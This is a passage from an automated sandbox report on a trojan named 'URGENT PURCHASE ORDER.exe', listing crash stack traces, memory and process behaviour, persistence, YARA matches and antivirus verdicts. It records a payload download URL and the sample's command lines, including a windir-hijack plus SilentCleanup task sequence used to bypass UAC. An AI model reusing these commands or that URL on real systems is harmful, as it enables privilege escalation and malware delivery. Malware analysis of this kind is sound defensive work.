ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1

Performs some HTTP requests (1 event)

request

GET http://ukintl.in/xerofileupshgdgrurjdbdhdpdfseudidofndhehuplaodsdocumentghyu/Ozsffvgdckcakcbawcxmtjielxnjugs

Allocates read-write-execute memory (usually to unpack itself) (13 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory Nov. 10, 2021, 5:57 p.m.	process_identifier: 2152 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01e00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Nov. 10, 2021, 5:57 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x745d2000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fe3734 process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fe3734 process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fe3734 process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01fe3734 process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0447562c process_handle: 0xffffffff		3221225477

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Ozsffvgd.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Nov. 10, 2021, 5:58 p.m.	process_identifier: 2152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x01fd1000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Create a windows service	rule	Create_Service
description	Communication using DGA	rule	Network_DGA
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Steal credential	rule	local_credential_Steal
description	Communications use DNS	rule	Network_DNS
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over FTP	rule	Network_FTP
description	Escalate priviledges	rule	Escalate_priviledges
description	File Downloader	rule	Network_Downloader
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Ozsffvgd

reg_value

C:\Users\Public\dgvffszO.url

Deletes executed files from disk (1 event)

file	C:\Users\Public\UKO.bat

Network activity contains more than one unique useragent (2 events)

process	URGENT PURCHASE ORDER.exe				useragent	lVali
process	URGENT PURCHASE ORDER.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2408 resumed a thread in remote process 2468
Process injection	Process 3052 resumed a thread in remote process 2204
NtResumeThread Nov. 10, 2021, 5:58 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2468	1	0	0
NtResumeThread Nov. 10, 2021, 5:58 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2204	1	0	0

File has been identified by 37 AntiVirus engines on VirusTotal as malicious (37 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37982646
FireEye	Generic.mg.2c88a95d136be447
McAfee	GenericRXAA-AA!2C88A95D136B
Malwarebytes	Malware.AI.4240805259
Cybereason	malicious.a2f42e
Arcabit	Trojan.Generic.D24391B6
BitDefenderTheta	Gen:NN.ZelphiCO.34266.0GW@aSUq7bbi
Cyren	W32/Delf.SNSY-5475
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Injector.EQMT
APEX	Malicious
BitDefender	Trojan.GenericKD.37982646
Avast	Win32:MalwareX-gen [Trj]
Ad-Aware	Trojan.GenericKD.37982646
Emsisoft	Trojan.GenericKD.37982646 (B)
DrWeb	Trojan.DownLoader43.61795
TrendMicro	TrojanSpy.Win32.SUSPECTCRC.USMANK921
McAfee-GW-Edition	BehavesLike.Win32.Rootkit.ch
SentinelOne	Static AI - Suspicious PE
eGambit	Unsafe.AI_Score_99%
Gridinsoft	Ransom.Win32.Wacatac.sa
Microsoft	Trojan:Win32/DelfInject.POI!MTB
GData	Trojan.GenericKD.37982646
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.R449406
VBA32	BScope.TrojanSpy.Noon
MAX	malware (ai score=81)
Cylance	Unsafe
TrendMicro-HouseCall	TrojanSpy.Win32.SUSPECTCRC.USMANK921
Rising	Trojan.Generic@ML.94 (RDMK:vF10pkRUfjS1rfjD7UmtpQ)
Yandex	Trojan.Igent.bWUGOU.18
Ikarus	Trojan.Inject
Fortinet	W32/Injector.EQAC!tr
Webroot	W32.Trojan.Gen
AVG	Win32:MalwareX-gen [Trj]
Panda	Trj/GdSda.A

URGENT PURCHASE ORDER.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All